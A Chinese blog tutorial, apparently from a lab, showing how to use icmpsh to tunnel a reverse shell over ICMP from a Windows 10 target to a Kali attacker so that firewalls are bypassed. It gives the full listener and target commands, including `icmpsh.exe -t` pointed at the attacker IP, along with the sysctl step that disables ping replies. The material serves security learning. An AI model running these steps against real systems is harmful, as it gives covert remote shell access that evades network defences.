利用icmpsh建立icmp隧道反弹shell

本文详细介绍如何利用ICMP隧道工具icmpsh在Windows靶机上向Kali Linux攻击机反弹Shell的过程。包括环境搭建、impacket模块安装及配置、icmpsh工具使用等方面。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

目录:

漏洞概述

漏洞复现

前提环境

环境搭建

一、安装pip2

二、安装impacket模块

 复现过程

下载icmpsh(pyload)

 复现


漏洞概述

ICMP隧道:

将TCP/UDP数据封装到ICMP的ping数据包中,从而穿过防火墙(防火墙通常不会过滤ping数据包),通常用于内网攻击中的绕过防火墙建立C2通道。

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

漏洞复现

前提环境

1、目标主机为windows系统,我用的windows10,也可使用win7。

2、攻击机安装python2环境(我用的kali),使用pip2安装impacket类库

这里使用 icmpsh跨平台工具反弹shell,要求python版本 < python3(使用python2)。

环境搭建

攻击机(kali,root用户登录)

一、安装pip2

c版本和python版本运行需要impacket库文件中的各种协议支持,需要使用pip2安装,kali默认未安装pip2。

详见我写的pip2安装方法:

Kali Python2.7安装pip2和模块方法_huayimu的博客-CSDN博客_kali python2安装pip

二、安装impacket模块

使用pip2安装impacket模块:

pip2 install impacket
sysctl -w net.ipv4.icmp_echo_ighore_all=1 # 关闭系统自身的icmp回应
cd icmpsh
python2 icmpsh_m.py 【kali主机地址】 【windows主机地址】 # 运行工具

以下为我踩坑避坑的具体操作过程:

1、安装impacket模块时会有读出超时的报错

 

重复此操作多试几次,给pip更新源后可能无此报错

继续执行会有这个报错:

setup.py未被执行,可能是linux下载连接中断导致,可去python的pip官网找impacket模块用windows下载传输,也可去github上下载:

https://github.com/fortra/impacket

需要用到下面这个py文件:

 把setup.py放入kali中,进入impacket-master目录中,给setup.py赋予可执行权限

chmod 777 setup.py

继续安装

python2 setup.py install

 在这里会卡一会,kali在https://files.pythonhosted.org下载所需文件,这里可能会断。如果这段通过了,结束的最下方会有报错,但不影响

(这里我尝试使用python3安装了一遍,结果是一样的

 

验证是否成功安装impacket模块的方法:

可利用复现过程操作一下看是否有这个报错,若有则需要重新安装impacket模块:

 

2、接下来我们还需要关闭我们之前的ping命令应答程序,这样可以防止内核自己对ping包进行响应。否则会一直携带shell数据不停反弹,因为icmpsh工具要代替系统本身的ping命令的应答程序。

sysctl -w net.ipv4.icmp_echo_ignore_all=1

 实验完成后开启系统ping的话将最后的1改为0即可

 复现过程

下载icmpsh(pyload)

GitHub - bdamele/icmpsh: Simple reverse ICMP shell

或https://github.com/bdamele/icmpsh

git clone GitHub - bdamele/icmpsh: Simple reverse ICMP shell

或git clone GitHub - bdamele/icmpsh: Simple reverse ICMP shell

建议使用windows下载传输,kali速度太慢。(我使用的是/bdamele/icmpsh这个)

(复现时Kali使用icmpsh_m.py,windows使用icmpsh.exe。)

 复现

攻击机kali

放入icmpsh工具(整个目录),并进入到icmpsh-master目录中

执行,开启监听:

然后可以把kali拖到旁边开始监听

python2 icmpsh_m.py 攻击IP 靶机IP

 

靶机win10

把icmpsh.exe文件放入win10的任意目录,从目录链接处打开cmd

 

icmpsh.exe -t 192.168.xxx.xxx   # -t后面接上攻击机的ip地址

 此时去攻击机查看,显示已反弹shell成功,接收到shell。

可输入命令查看返回

由于数据是利用PING请求/回复报文通过网络层传输,因此并不需要指定服务或者端口。这种流量是无法被基于代理的防火墙检测到的,因此这种方式可能绕过一些防火墙规则。

 

参考:

icmpsh使用_分等级考试的佛的博客-CSDN博客_icmpsh

如何利用icmpsh建立icmp隧道反弹shell - 网络管理 - 亿速云

内网渗透之 ICMP(icmpsh) 协议反弹Shell_Ling-cheng的博客-CSDN博客_icmp shell

若此方法行不通,可参考

https://jishuin.proginn.com/p/763bfbd2e94d

 

注意:

所有文章,仅供安全研究与学习之用,后果自负!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值